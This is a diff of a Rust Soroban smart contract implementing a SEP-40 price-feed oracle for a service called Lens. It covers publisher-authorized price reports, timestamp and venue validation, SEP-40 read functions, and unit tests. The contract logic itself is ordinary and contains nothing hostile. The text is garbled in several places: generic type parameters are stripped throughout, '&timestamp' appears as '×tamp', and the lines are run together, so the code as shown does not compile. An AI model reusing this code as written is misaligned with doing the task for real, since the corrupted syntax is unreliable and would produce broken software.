= storage.get(&DataKey::Publisher); - match publisher { - Some(publisher) => publisher.require_auth(), - None => Self::require_admin(env), - } - } - - fn read_last(env: &Env, asset: &Asset) -> Option { - let key = DataKey::Last(asset.clone()); - let storage = env.storage().persistent(); - let data: Option = storage.get(&key); - if data.is_some() { - storage.extend_ttl(&key, TTL_THRESHOLD, TTL_BUMP); - } - data - } - - fn read_history(env: &Env, asset: &Asset) -> Vec { - env.storage() - .persistent() - .get(&DataKey::History(asset.clone())) - .unwrap_or_else(|| Vec::new(env)) - } - - fn contains_asset(assets: &Vec, asset: &Asset) -> bool { - for existing in assets.iter() { - if equal_assets(&existing, asset) { - return true; - } - } - false - } -} - -/// Two `Asset`s are the same asset when they are the same variant holding the -/// same value. Written as a match rather than derived: `Asset` is the type the -/// spec pins, and comparing the two payload kinds directly is all the identity -/// check the registry needs. -fn equal_assets(a: &Asset, b: &Asset) -> bool { - match (a, b) { - (Asset::Stellar(x), Asset::Stellar(y)) => x == y, - (Asset::Other(x), Asset::Other(y)) => x == y, - _ => false, - } -} - -#[cfg(test)] -mod tests { - use super::*; - use soroban_sdk::InvokeError; - use soroban_sdk::testutils::{Address as _, AuthorizedFunction, Ledger as _}; - - const DECIMALS: u32 = 14; - const RESOLUTION: u32 = 60; - /// Ledger time the test env starts at, so a report can be "now". - const NOW: u64 = 1_760_000_040; - - fn sym(env: &Env, name: &str) -> Symbol { - Symbol::new(env, name) - } - - fn venues(env: &Env, names: &[&str]) -> Vec { - let mut out = Vec::new(env); - for name in names { - out.push_back(sym(env, name)); - } - out - } - - /// XLM quoted in USDC, as the SEP-40 `Other(Symbol)` form. - fn xlm(env: &Env) -> Asset { - Asset::Other(sym(env, "XLM")) - } - - struct Feed { - env: Env, - client: Sep40OracleContractClient<'static>, - admin: Address, - publisher: Address, - } - - fn feed(timestamp: u64) -> Feed { - let env = Env::default(); - env.mock_all_auths(); - env.ledger().set_timestamp(timestamp); - let contract_id = env.register(Sep40OracleContract, ()); - let client = Sep40OracleContractClient::new(&env, &contract_id); - let admin = Address::generate(&env); - let publisher = Address::generate(&env); - client.initialize(&admin, &Asset::Other(sym(&env, "USDC")), &DECIMALS, &RESOLUTION); - client.set_publisher(&publisher); - Feed { env, client, admin, publisher } - } - - /// Publish at `timestamp`, taking the ledger clock with it. A real publisher - /// can only report a tick the ledger has already reached (`report` refuses a - /// timestamp ahead of ledger time), so a test that walks forward through the - /// day has to walk the clock forward too. - fn report_at(f: &Feed, asset: &Asset, price: i128, timestamp: u64, names: &[&str]) { - f.env.ledger().set_timestamp(timestamp); - f.client - .report(asset, &price, ×tamp, &venues(&f.env, names)); - } - - #[test] - fn initialize_publishes_the_feed_parameters() { - let f = feed(NOW); - assert_eq!(f.client.decimals(), DECIMALS); - assert_eq!(f.client.resolution(), RESOLUTION); - assert_eq!(f.client.base(), Asset::Other(sym(&f.env, "USDC"))); - // Nothing reported yet, so nothing is quoted. - assert_eq!(f.client.assets().len(), 0); - } - - #[test] - fn initialize_cannot_run_twice() { - let f = feed(NOW); - let result = f.client.try_initialize( - &f.admin, - &Asset::Other(sym(&f.env, "EUR")), - &DECIMALS, - &RESOLUTION, - ); - assert_eq!(result.err(), Some(Ok(Error::AlreadyInitialized))); - } - - #[test] - fn zero_resolution_or_decimals_is_refused() { - // A zero resolution makes every timestamp check divide by zero; a zero - // decimal count silently rounds every price to an integer. - let env = Env::default(); - env.mock_all_auths(); - let id = env.register(Sep40OracleContract, ()); - let client = Sep40OracleContractClient::new(&env, &id); - let admin = Address::generate(&env); - let zero_resolution = - client.try_initialize(&admin, &Asset::Other(sym(&env, "USDC")), &DECIMALS, &0); - assert_eq!(zero_resolution.err(), Some(Ok(Error::InvalidConfig))); - let zero_decimals = - client.try_initialize(&admin, &Asset::Other(sym(&env, "USDC")), &0, &RESOLUTION); - assert_eq!(zero_decimals.err(), Some(Ok(Error::InvalidConfig))); - } - - #[test] - fn a_reported_price_is_readable_through_sep_40() { - let f = feed(NOW); - // 0.025 USDC per XLM at 14 decimals. - let price: i128 = 250_000_000_000_000; - f.client - .report(&xlm(&f.env), &price, &NOW, &venues(&f.env, &["SDEX", "AMM"])); - - let last = f.client.lastprice(&xlm(&f.env)).expect("price"); - assert_eq!(last.price, price); - assert_eq!(last.timestamp, NOW); - - assert_eq!(f.client.assets().len(), 1); - let historical = f.client.price(&xlm(&f.env), &NOW).expect("price at now"); - assert_eq!(historical.price, price); - let history = f.client.prices(&xlm(&f.env), &10).expect("history"); - assert_eq!(history.len(), 1); - } - - #[test] - fn last_report_names_the_venues_behind_the_number() { - let f = feed(NOW); - let price: i128 = 1_000_000_000_000_000; - f.client.report( - &xlm(&f.env), - &price, - &NOW, - &venues(&f.env, &["SDEX", "AMM", "aquarius_amm"]), - ); - - let report = f.client.last_report(&xlm(&f.env)).expect("report"); - assert_eq!(report.source_count, 3); - assert_eq!(report.venues.len(), 3); - assert_eq!(report.venues.get(2).unwrap(), sym(&f.env, "aquarius_amm")); - // The write landed in this ledger, at this close time. - assert_eq!(report.reported_at, NOW); - assert_eq!(report.reported_ledger, f.env.ledger().sequence()); - } - - #[test] - fn history_is_newest_first() { - let f = feed(NOW); - let price: i128 = 1_000_000_000_000_000; - for offset in [0_u64, 60, 120] { - report_at(&f, &xlm(&f.env), price, NOW + offset, &["SDEX"]); - } - let history = f.client.prices(&xlm(&f.env), &10).expect("history"); - assert_eq!(history.len(), 3); - assert_eq!(history.get(0).unwrap().timestamp, NOW + 120); - assert_eq!(history.get(2).unwrap().timestamp, NOW); - } - - #[test] - fn price_at_returns_the_nearest_value_at_or_before() { - let f = feed(NOW); - let price: i128 = 1_000_000_000_000_000; - f.client - .report(&xlm(&f.env), &price, &NOW, &venues(&f.env, &["SDEX"])); - // A deviation-triggered feed has no record at every resolution tick; - // asking for a later one still yields the value in effect. - assert_eq!(f.client.price(&xlm(&f.env), &(NOW + 300)).unwrap().timestamp, NOW); - // …and one from before the first report has nothing in effect yet. - assert_eq!(f.client.price(&xlm(&f.env), &(NOW - 60)), None); - } - - #[test] - fn an_unquoted_asset_reads_as_none_rather_than_an_error() { - // SEP-40: "a contract should return None on such function calls in - // order to delegate error handling logic directly to consumer - // contracts". - let f = feed(NOW); - let eur = Asset::Other(sym(&f.env, "EUR")); - assert_eq!(f.client.lastprice(&eur), None); - assert_eq!(f.client.prices(&eur, &5), None); - assert_eq!(f.client.price(&eur, &NOW), None); - assert_eq!(f.client.last_report(&eur), None); - } - - #[test] - fn a_report_that_does_not_move_the_feed_forward_is_rejected() { - let f = feed(NOW); - let price: i128 = 1_000_000_000_000_000; - f.client - .report(&xlm(&f.env), &price, &NOW, &venues(&f.env, &["SDEX"])); - - let older = f.client.try_report( - &xlm(&f.env), - &(price + 1), - &(NOW - 60), - &venues(&f.env, &["SDEX"]), - ); - assert_eq!(older.err(), Some(Ok(Error::NotNewer))); - - // A replay of the same tick is refused for the same reason, so a - // retried publish cannot rewrite the value consumers already read. - let same = f.client.try_report( - &xlm(&f.env), - &price, - &NOW, - &venues(&f.env, &["SDEX"]), - ); - assert_eq!(same.err(), Some(Ok(Error::NotNewer))); - } - - #[test] - fn a_feed_timestamp_must_be_trimmed_to_the_resolution() { - // SEP-40 defines the timestamp as floor(unix_now() / resolution) * - // resolution. Enforcing it here means a consumer can treat trimming as - // a guarantee instead of a convention. - let f = feed(NOW); - let result = f.client.try_report( - &xlm(&f.env), - &1_000_000_000_000_000, - &(NOW + 1), - &venues(&f.env, &["SDEX"]), - ); - assert_eq!(result.err(), Some(Ok(Error::TimestampNotAligned))); - } - - #[test] - fn a_timestamp_from_the_future_is_rejected() { - // A publisher with a clock ahead of the ledger would otherwise hand - // consumers a price that never looks stale. - let f = feed(NOW); - let result = f.client.try_report( - &xlm(&f.env), - &1_000_000_000_000_000, - &(NOW + 600), - &venues(&f.env, &["SDEX"]), - ); - assert_eq!(result.err(), Some(Ok(Error::TimestampInFuture))); - } - - #[test] - fn a_price_with_no_venue_or_no_magnitude_is_rejected() { - let f = feed(NOW); - let none = f.client.try_report( - &xlm(&f.env), - &1_000_000_000_000_000, - &NOW, - &Vec::::new(&f.env), - ); - assert_eq!(none.err(), Some(Ok(Error::NoVenues))); - - let zero = f.client.try_report( - &xlm(&f.env), - &0, - &NOW, - &venues(&f.env, &["SDEX"]), - ); - assert_eq!(zero.err(), Some(Ok(Error::NonPositivePrice))); - - let negative = f.client.try_report( - &xlm(&f.env), - &-1, - &NOW, - &venues(&f.env, &["SDEX"]), - ); - assert_eq!(negative.err(), Some(Ok(Error::NonPositivePrice))); - } - - #[test] - fn more_venues_than_the_feed_will_store_is_rejected() { - let f = feed(NOW); - let names: [&str; 17] = [ - "SDEX", "AMM", "a_1", "a_2", "a_3", "a_4", "a_5", "a_6", "a_7", "a_8", "a_9", - "b_1", "b_2", "b_3", "b_4", "b_5", "b_6", - ]; - let result = f.client.try_report( - &xlm(&f.env), - &1_000_000_000_000_000, - &NOW, - &venues(&f.env, &names), - ); - assert_eq!(result.err(), Some(Ok(Error::TooManyVenues))); - } - - #[test] - fn history_stays_bounded() { - let f = feed(NOW); - let price: i128 = 1_000_000_000_000_000; - let writes = MAX_HISTORY + 25; - for i in 0..writes { - let timestamp = NOW + 60 * (i as u64) + 60; - report_at(&f, &xlm(&f.env), price, timestamp, &["SDEX"]); - } - assert_eq!(f.client.prices(&xlm(&f.env), &1_000).unwrap().len(), MAX_HISTORY); - // The oldest retained record is the first one still inside the window: - // everything older than the newest `MAX_HISTORY` writes is gone. - assert_eq!( - f.client.prices(&xlm(&f.env), &1_000).unwrap().get(MAX_HISTORY - 1).unwrap().timestamp, - NOW + 60_u64 * (writes - MAX_HISTORY) as u64 + 60 - ); - } - - #[test] - fn asking_for_more_records_than_exist_returns_what_there_is() { - let f = feed(NOW); - f.client.report( - &xlm(&f.env), - &1_000_000_000_000_000, - &NOW, - &venues(&f.env, &["SDEX"]), - ); - assert_eq!(f.client.prices(&xlm(&f.env), &100).unwrap().len(), 1); - // Zero records is invalid input, so it reads as "nothing", not an error. - assert_eq!(f.client.prices(&xlm(&f.env), &0), None); - } - - #[test] - fn each_quoted_asset_keeps_its_own_history() { - let f = feed(NOW); - f.client.report( - &xlm(&f.env), - &1_000_000_000_000_000, - &NOW, - &venues(&f.env, &["SDEX"]), - ); - let btc = Asset::Other(sym(&f.env, "BTC")); - f.client.report( - &btc, - &60_000_000_000_000_000_000_000, - &NOW, - &venues(&f.env, &["SDEX"]), - ); - - assert_eq!(f.client.assets().len(), 2); - assert!(f.client.lastprice(&btc).is_some()); - // A write to one asset cannot disturb another. - assert_eq!(f.client.prices(&btc, &10).unwrap().len(), 1); - assert_eq!(f.client.prices(&xlm(&f.env), &10).unwrap().len(), 1); - } - - #[test] - fn a_write_without_the_publishers_authorization_does_not_land() { - // `report` accepts exactly one signer: the publisher address stored in - // the feed. Turning the env's auth mocking off makes the call carry - // nobody's authorization, so the write is refused before any of the - // price rules are reached — and the read surface is untouched. - let f = feed(NOW); - f.env.set_auths(&[]); - - let result = f.client.try_report( - &xlm(&f.env), - &1_000_000_000_000_000, - &NOW, - &venues(&f.env, &["SDEX"]), - ); - // The refusal comes from the auth layer, not from one of the feed's own - // rules: a contract error would surface as `Err(Ok(Error::…))`. - assert_eq!( - result.err(), - Some(Err(InvokeError::Abort)), - "a write without the publisher's authorization must not land" - ); - assert_eq!(f.client.lastprice(&xlm(&f.env)), None); - assert_eq!(f.client.assets().len(), 0); - } - - #[test] - fn the_publisher_is_the_address_that_signs_a_write() { - // With auth recording enabled the call still succeeds, but the feed - // reports *whose* authorization it demanded: the publisher, never the - // admin and never the signer of the transaction. - let f = feed(NOW); - let price: i128 = 1_000_000_000_000_000; - f.client - .report(&xlm(&f.env), &price, &NOW, &venues(&f.env, &["SDEX"])); - - let mut auths = f.env.auths(); - assert_eq!(auths.len(), 1, "a report demands exactly one signature"); - let (signer, invocation) = auths.pop().expect("one authorization"); - assert_eq!(signer, f.publisher); - match invocation.function { - AuthorizedFunction::Contract((contract, fn_name, _)) => { - assert_eq!(contract, f.client.address); - assert_eq!(fn_name, sym(&f.env, "report")); - } - _ => panic!("a report is authorized by a contract invocation"), - } - } - - #[test] - fn a_stellar_asset_is_quoted_by_its_asset_contract_address() { - // SEP-40 represents a Stellar asset by the address of its Stellar Asset - // Contract, which is what makes the identifier issuer-qualified: two - // tokens both called USDC are different assets here. - let f = feed(NOW); - let usdc = Asset::Stellar(Address::generate(&f.env)); - f.client.report( - &usdc, - &40_000_000_000_000, - &NOW, - &venues(&f.env, &["SDEX"]), - ); - assert_eq!(f.client.lastprice(&usdc).unwrap().price, 40_000_000_000_000); - assert_eq!(f.client.assets().get(0).unwrap(), usdc); - } - - #[test] - fn a_second_report_of_the_same_asset_does_not_duplicate_the_registry() { - let f = feed(NOW); - for offset in [60_u64, 120] { - report_at(&f, &xlm(&f.env), 1_000_000_000_000_000, NOW + offset, &["SDEX"]); - } - assert_eq!(f.client.assets().len(), 1); - } -} +//! Lens SEP-40 price feed contract. +//! +//! SEP-40 ("Oracle Consumer Interface") standardises how a Soroban contract +//! READS a price feed. It deliberately says nothing about how a provider writes +//! one ("The exact mechanism of data reporting mechanism utilized by an oracle +//! is out of scope of this SEP" — SEP-40 § Design Rationale / Data Reporting). +//! So this contract has two halves: +//! +//! 1. the `PriceFeedTrait` surface from the spec — `base`, `assets`, `decimals`, +//! `resolution`, `price`, `prices`, `lastprice` — exactly as declared, so any +//! SEP-40 consumer can read a Lens price without an adapter contract; +//! 2. a provider-side `report` write, authenticated by the Lens publisher key, +//! which is the only way data gets in. +//! +//! Prices are stored as `i128` scaled by `decimals()`: the real value is +//! `price / 10^decimals` (SEP-40 § Design Rationale). Timestamps are unix +//! seconds trimmed to `resolution()`, so consumers can compare them against the +//! current ledger time to judge staleness — and Lens trims them on the way in, +//! which `report` then re-checks, so a mis-scaled write cannot land. +//! +//! Provenance: every report carries the list of venues behind the number +//! (`SDEX`, `AMM`, `aquarius_amm`, …). The source count is derived from that +//! list rather than passed in, so the contract can never record a price that +//! claims more sources than it can name. + +#![no_std] + +use soroban_sdk::{ + contract, contracterror, contractimpl, contracttype, symbol_short, Address, BytesN, Env, + Symbol, Vec, +}; + +/// SEP-40 §Interface: a Stellar asset is identified by its Stellar Asset +/// Contract address (issuer-qualified by construction); anything else — and +/// native XLM, which has no asset contract — is identified by a symbol the +/// oracle defines. +#[contracttype] +#[derive(Clone, Debug, PartialEq)] +pub enum Asset { + Stellar(Address), + Other(Symbol), +} + +/// SEP-40 §Interface: "Price data for an asset at a specific timestamp". +/// Fields are `pub` (the spec's snippet omits that, and private fields cannot +/// be read by a consumer contract). +#[contracttype] +#[derive(Clone, Debug, PartialEq)] +pub struct PriceData { + /// Scaled by `decimals()`: real price = `price / 10^decimals`. + pub price: i128, + /// Unix seconds, trimmed to `resolution()`. + pub timestamp: u64, +} + +/// What Lens actually pushed, and what it was made of. Consumer contracts do +/// not need this to read a price (SEP-40 is enough for that), but they need it +/// to answer "how fresh is this, and which venues produced it" — the same two +/// guarantees the HTTP API makes about the aggregate it serves. +#[contracttype] +#[derive(Clone, Debug, PartialEq)] +pub struct Report { + pub price: i128, + /// SEP-40 feed timestamp (trimmed to `resolution()`). + pub timestamp: u64, + /// Ledger close time of the on-chain write — when the feed value became + /// available, as opposed to when the market tick it describes occurred. + pub reported_at: u64, + /// Ledger the write landed in. + pub reported_ledger: u32, + /// Number of venues behind the aggregate; always `venues.len()`. + pub source_count: u32, + /// Which venues those were. + pub venues: Vec, +} + +#[contracterror] +#[derive(Copy, Clone, Debug, Eq, PartialEq, PartialOrd, Ord)] +#[repr(u32)] +pub enum Error { + /// `initialize` has already run. Config is immutable on purpose: SEP-40 + /// says decimals/resolution "should never change" once deployed. + AlreadyInitialized = 1, + NonPositivePrice = 2, + /// A feed timestamp that is not a whole number of resolutions would break + /// the trimming rule every consumer relies on. + TimestampNotAligned = 3, + /// Reports must move forward; an out-of-order write cannot rewrite history. + NotNewer = 4, + /// The publisher's clock is ahead of the ledger, or the write is replayed + /// from far in the past. Either way the value is not publishable. + TimestampInFuture = 5, + /// A price with no venue behind it is worse than no price. + NoVenues = 6, + /// Bounds the per-asset storage footprint. + TooManyVenues = 7, + /// `decimals` or `resolution` was zero; both are load-bearing for every + /// price and timestamp in the feed, so they are refused rather than stored. + InvalidConfig = 8, +} + +#[contracttype] +enum DataKey { + Admin, + Publisher, + Base, + Decimals, + Resolution, + /// Every asset that has ever been reported, in first-seen order, so + /// `assets()` can enumerate the feed. + Assets, + /// Per-asset history, newest first. + History(Asset), + /// Per-asset last known price (SEP-40 `lastprice`). + Last(Asset), + /// Per-asset last report with its provenance. + LastReport(Asset), +} + +/// Price records kept per asset. `prices()` reads from this, and it is trimmed +/// on every write so the feed cannot grow without bound. +const MAX_HISTORY: u32 = 64; +/// Venue names accepted in one report. Well above the number of venues Lens +/// aggregates today, and low enough to keep a report's storage small. +const MAX_VENUES: u32 = 16; +/// Persistent-entry TTL policy: extend when an entry is within `THRESHOLD` +/// ledgers of expiry, by `BUMP` ledgers (roughly 4 days at ~5 s per ledger). +const TTL_THRESHOLD: u32 = 5_000; +const TTL_BUMP: u32 = 40_000; + +#[contract] +pub struct Sep40OracleContract; + +#[contractimpl] +impl Sep40OracleContract { + // ── Admin ──────────────────────────────────────────────────────────────── + + /// One-shot configuration, called by the deployer. `base` is the asset every + /// feed is denominated in (SEP-40 § Specification: "all price feeds … in + /// the base asset"), `decimals` the scale of `PriceData.price`, and + /// `resolution` the timeframe feeds are trimmed to. + /// + /// Never callable twice: SEP-40 requires these values to be stable once + /// deployed, because consumers cannot be expected to react to a change. + pub fn initialize( + env: Env, + admin: Address, + base: Asset, + decimals: u32, + resolution: u32, + ) -> Result<(), Error> { + admin.require_auth(); + if env.storage().instance().has(&DataKey::Admin) { + return Err(Error::AlreadyInitialized); + } + if decimals == 0 || resolution == 0 { + // A zero resolution would make every timestamp check divide by zero + // and a zero decimal count would silently round every price to an + // integer, so both are refused rather than stored. + return Err(Error::InvalidConfig); + } + + let storage = env.storage().instance(); + storage.set(&DataKey::Admin, &admin); + storage.set(&DataKey::Base, &base); + storage.set(&DataKey::Decimals, &decimals); + storage.set(&DataKey::Resolution, &resolution); + storage.set(&DataKey::Assets, &Vec::::new(&env)); + storage.extend_ttl(TTL_THRESHOLD, TTL_BUMP); + Ok(()) + } + + /// Point the feed at a hot publisher key. The publisher signs `report`; + /// the admin key stays cold and only ever signs `initialize`, + /// `set_publisher` and `upgrade`. Unset, `report` falls back to the admin. + pub fn set_publisher(env: Env, publisher: Address) { + Self::require_admin(&env); + env.storage().instance().set(&DataKey::Publisher, &publisher); + } + + /// Swap the implementation without changing the contract address, which + /// SEP-40 requires ("it must be upgradeable without changing the contract + /// address. Smart contract consumers should only be expected to change + /// their price feed aggregator address if they would like to change oracle + /// providers"). + pub fn upgrade(env: Env, new_wasm_hash: BytesN<32>) { + Self::require_admin(&env); + env.deployer().update_current_contract_wasm(new_wasm_hash); + } + + /// Publish one aggregate value for one asset. This is the provider half — + /// out of SEP-40's scope, so its shape is Lens's own. + /// + /// `timestamp` must already be trimmed to `resolution()` (Lens does that + /// when it builds the report; the contract re-checks it so a consumer can + /// take the trimming as a guarantee rather than a convention). + pub fn report( + env: Env, + asset: Asset, + price: i128, + timestamp: u64, + venues: Vec, + ) -> Result<(), Error> { + Self::require_publisher(&env); + + if price <= 0 { + return Err(Error::NonPositivePrice); + } + if venues.is_empty() { + return Err(Error::NoVenues); + } + if venues.len() > MAX_VENUES { + return Err(Error::TooManyVenues); + } + + let resolution: u32 = env + .storage() + .instance() + .get(&DataKey::Resolution) + .ok_or(Error::TimestampNotAligned)?; + if timestamp % resolution as u64 != 0 { + return Err(Error::TimestampNotAligned); + } + if timestamp > env.ledger().timestamp() { + return Err(Error::TimestampInFuture); + } + + let data = PriceData { price, timestamp }; + if let Some(last) = Self::read_last(&env, &asset) { + if timestamp <= last.timestamp { + return Err(Error::NotNewer); + } + } + + // History is newest-first so `prices(records)` and `price(timestamp)` + // read from the front, and the trim happens at the back. + let mut history = Self::read_history(&env, &asset); + history.push_front(data.clone()); + while history.len() > MAX_HISTORY { + history.pop_back(); + } + + let report = Report { + price, + timestamp, + reported_at: env.ledger().timestamp(), + reported_ledger: env.ledger().sequence(), + source_count: venues.len(), + venues, + }; + + let history_key = DataKey::History(asset.clone()); + let last_key = DataKey::Last(asset.clone()); + let report_key = DataKey::LastReport(asset.clone()); + let storage = env.storage().persistent(); + storage.set(&history_key, &history); + storage.set(&last_key, &data); + storage.set(&report_key, &report); + storage.extend_ttl(&history_key, TTL_THRESHOLD, TTL_BUMP); + storage.extend_ttl(&last_key, TTL_THRESHOLD, TTL_BUMP); + storage.extend_ttl(&report_key, TTL_THRESHOLD, TTL_BUMP); + + // Enumerate this asset from `assets()` from now on. + let mut assets: Vec = env + .storage() + .instance() + .get(&DataKey::Assets) + .unwrap_or(Vec::new(&env)); + if !Self::contains_asset(&assets, &asset) { + assets.push_back(asset.clone()); + env.storage().instance().set(&DataKey::Assets, &assets); + } + + env.events().publish( + ("lens_oracle", symbol_short!("report")), + (asset.clone(), price, timestamp), + ); + Ok(()) + } + + // ── SEP-40 PriceFeedTrait ──────────────────────────────────────────────── + + /// The asset every price in this feed is denominated in. + pub fn base(env: Env) -> Asset { + env.storage() + .instance() + .get(&DataKey::Base) + .expect("oracle is not initialized") + } + + /// All assets this feed quotes. + pub fn assets(env: Env) -> Vec { + env.storage() + .instance() + .get(&DataKey::Assets) + .unwrap_or(Vec::new(&env)) + } + + /// Scale of `PriceData.price` for every asset in this feed. + pub fn decimals(env: Env) -> u32 { + env.storage() + .instance() + .get(&DataKey::Decimals) + .expect("oracle is not initialized") + } + + /// Default tick period, in seconds, that feed timestamps are trimmed to. + pub fn resolution(env: Env) -> u32 { + env.storage() + .instance() + .get(&DataKey::Resolution) + .expect("oracle is not initialized") + } + + /// The feed value in effect at `timestamp` — the newest record at or before + /// it, or `None`. + /// + /// SEP-40 phrases this as "price information for a given point in time, + /// under condition that the historical data for a requested timestamp is + /// available". A deviation-triggered feed is deliberately non-uniform, so + /// an exact timestamp is usually absent; nearest-at-or-before is the + /// extrapolation the spec asks an oracle to present instead. Unknown assets + /// and timestamps older than the retained history return `None` rather than + /// erroring, per the spec's instruction to delegate error handling to the + /// consumer. + pub fn price(env: Env, asset: Asset, timestamp: u64) -> Option { + let history = Self::read_history(&env, &asset); + let mut best: Option = None; + for record in history.iter() { + if record.timestamp <= timestamp { + best = Some(record); + break; + } + } + best + } + + /// The last `records` prices for an asset, newest first. `None` when the + /// asset has no history, and `None` for `records == 0`, which is not a + /// question the feed can answer. Fewer than `records` may be returned when + /// the feed has not published that many values yet, or when `records` + /// exceeds the retained history (`MAX_HISTORY`). + pub fn prices(env: Env, asset: Asset, records: u32) -> Option> { + // A request for zero records is invalid input, and SEP-40 asks the + // oracle to hand invalid input back as `None` rather than as a value + // that looks like an answer. + if records == 0 { + return None; + } + let history = Self::read_history(&env, &asset); + if history.is_empty() { + return None; + } + // Asking for more than the feed has kept is not an error: the feed + // answers with everything it has, newest first. + let take = if records > history.len() { history.len() } else { records }; + let mut out = Vec::::new(&env); + for i in 0..take { + out.push_back(history.get(i)?); + } + Some(out) + } + + /// The most recent price for an asset. + pub fn lastprice(env: Env, asset: Asset) -> Option { + Self::read_last(&env, &asset) + } + + // ── Lens-specific reads (beyond SEP-40) ────────────────────────────────── + + /// Full provenance of the last write: when it landed on chain, in which + /// ledger, and which venues produced the value. A consumer that wants to + /// hold the same bar as the HTTP API's `stale` / source fields reads this. + pub fn last_report(env: Env, asset: Asset) -> Option { + env.storage().persistent().get(&DataKey::LastReport(asset)) + } + + // ── Internals ──────────────────────────────────────────────────────────── + + fn require_admin(env: &Env) { + let admin: Address = env + .storage() + .instance() + .get(&DataKey::Admin) + .expect("oracle is not initialized"); + admin.require_auth(); + } + + /// `report` is authorized by the publisher when one has been set, and by + /// the admin otherwise. Exactly one address authorizes a write, so there is + /// no ambiguity about which key the operator has to hold. + fn require_publisher(env: &Env) { + let storage = env.storage().instance(); + let publisher: Option
= storage.get(&DataKey::Publisher); + match publisher { + Some(publisher) => publisher.require_auth(), + None => Self::require_admin(env), + } + } + + fn read_last(env: &Env, asset: &Asset) -> Option { + let key = DataKey::Last(asset.clone()); + let storage = env.storage().persistent(); + let data: Option = storage.get(&key); + if data.is_some() { + storage.extend_ttl(&key, TTL_THRESHOLD, TTL_BUMP); + } + data + } + + fn read_history(env: &Env, asset: &Asset) -> Vec { + env.storage() + .persistent() + .get(&DataKey::History(asset.clone())) + .unwrap_or_else(|| Vec::new(env)) + } + + fn contains_asset(assets: &Vec, asset: &Asset) -> bool { + for existing in assets.iter() { + if equal_assets(&existing, asset) { + return true; + } + } + false + } +} + +/// Two `Asset`s are the same asset when they are the same variant holding the +/// same value. Written as a match rather than derived: `Asset` is the type the +/// spec pins, and comparing the two payload kinds directly is all the identity +/// check the registry needs. +fn equal_assets(a: &Asset, b: &Asset) -> bool { + match (a, b) { + (Asset::Stellar(x), Asset::Stellar(y)) => x == y, + (Asset::Other(x), Asset::Other(y)) => x == y, + _ => false, + } +} + +#[cfg(test)] +mod tests { + use super::*; + use soroban_sdk::InvokeError; + use soroban_sdk::testutils::{Address as _, AuthorizedFunction, Ledger as _}; + + const DECIMALS: u32 = 14; + const RESOLUTION: u32 = 60; + /// Ledger time the test env starts at, so a report can be "now". + const NOW: u64 = 1_760_000_040; + + fn sym(env: &Env, name: &str) -> Symbol { + Symbol::new(env, name) + } + + fn venues(env: &Env, names: &[&str]) -> Vec { + let mut out = Vec::new(env); + for name in names { + out.push_back(sym(env, name)); + } + out + } + + /// XLM quoted in USDC, as the SEP-40 `Other(Symbol)` form. + fn xlm(env: &Env) -> Asset { + Asset::Other(sym(env, "XLM")) + } + + struct Feed { + env: Env, + client: Sep40OracleContractClient<'static>, + admin: Address, + publisher: Address, + } + + fn feed(timestamp: u64) -> Feed { + let env = Env::default(); + env.mock_all_auths(); + env.ledger().set_timestamp(timestamp); + let contract_id = env.register(Sep40OracleContract, ()); + let client = Sep40OracleContractClient::new(&env, &contract_id); + let admin = Address::generate(&env); + let publisher = Address::generate(&env); + client.initialize(&admin, &Asset::Other(sym(&env, "USDC")), &DECIMALS, &RESOLUTION); + client.set_publisher(&publisher); + Feed { env, client, admin, publisher } + } + + /// Publish at `timestamp`, taking the ledger clock with it. A real publisher + /// can only report a tick the ledger has already reached (`report` refuses a + /// timestamp ahead of ledger time), so a test that walks forward through the + /// day has to walk the clock forward too. + fn report_at(f: &Feed, asset: &Asset, price: i128, timestamp: u64, names: &[&str]) { + f.env.ledger().set_timestamp(timestamp); + f.client + .report(asset, &price, ×tamp, &venues(&f.env, names)); + } + + #[test] + fn initialize_publishes_the_feed_parameters() { + let f = feed(NOW); + assert_eq!(f.client.decimals(), DECIMALS); + assert_eq!(f.client.resolution(), RESOLUTION); + assert_eq!(f.client.base(), Asset::Other(sym(&f.env, "USDC"))); + // Nothing reported yet, so nothing is quoted. + assert_eq!(f.client.assets().len(), 0); + } + + #[test] + fn initialize_cannot_run_twice() { + let f = feed(NOW); + let result = f.client.try_initialize( + &f.admin, + &Asset::Other(sym(&f.env, "EUR")), + &DECIMALS, + &RESOLUTION, + ); + assert_eq!(result.err(), Some(Ok(Error::AlreadyInitialized))); + } + + #[test] + fn zero_resolution_or_decimals_is_refused() { + // A zero resolution makes every timestamp check divide by zero; a zero + // decimal count silently rounds every price to an integer. + let env = Env::default(); + env.mock_all_auths(); + let id = env.register(Sep40OracleContract, ()); + let client = Sep40OracleContractClient::new(&env, &id); + let admin = Address::generate(&env); + let zero_resolution = + client.try_initialize(&admin, &Asset::Other(sym(&env, "USDC")), &DECIMALS, &0); + assert_eq!(zero_resolution.err(), Some(Ok(Error::InvalidConfig))); + let zero_decimals = + client.try_initialize(&admin, &Asset::Other(sym(&env, "USDC")), &0, &RESOLUTION); + assert_eq!(zero_decimals.err(), Some(Ok(Error::InvalidConfig))); + } + + #[test] + fn a_reported_price_is_readable_through_sep_40() { + let f = feed(NOW); + // 0.025 USDC per XLM at 14 decimals. + let price: i128 = 250_000_000_000_000; + f.client + .report(&xlm(&f.env), &price, &NOW, &venues(&f.env, &["SDEX", "AMM"])); + + let last = f.client.lastprice(&xlm(&f.env)).expect("price"); + assert_eq!(last.price, price); + assert_eq!(last.timestamp, NOW); + + assert_eq!(f.client.assets().len(), 1); + let historical = f.client.price(&xlm(&f.env), &NOW).expect("price at now"); + assert_eq!(historical.price, price); + let history = f.client.prices(&xlm(&f.env), &10).expect("history"); + assert_eq!(history.len(), 1); + } + + #[test] + fn last_report_names_the_venues_behind_the_number() { + let f = feed(NOW); + let price: i128 = 1_000_000_000_000_000; + f.client.report( + &xlm(&f.env), + &price, + &NOW, + &venues(&f.env, &["SDEX", "AMM", "aquarius_amm"]), + ); + + let report = f.client.last_report(&xlm(&f.env)).expect("report"); + assert_eq!(report.source_count, 3); + assert_eq!(report.venues.len(), 3); + assert_eq!(report.venues.get(2).unwrap(), sym(&f.env, "aquarius_amm")); + // The write landed in this ledger, at this close time. + assert_eq!(report.reported_at, NOW); + assert_eq!(report.reported_ledger, f.env.ledger().sequence()); + } + + #[test] + fn history_is_newest_first() { + let f = feed(NOW); + let price: i128 = 1_000_000_000_000_000; + for offset in [0_u64, 60, 120] { + report_at(&f, &xlm(&f.env), price, NOW + offset, &["SDEX"]); + } + let history = f.client.prices(&xlm(&f.env), &10).expect("history"); + assert_eq!(history.len(), 3); + assert_eq!(history.get(0).unwrap().timestamp, NOW + 120); + assert_eq!(history.get(2).unwrap().timestamp, NOW); + } 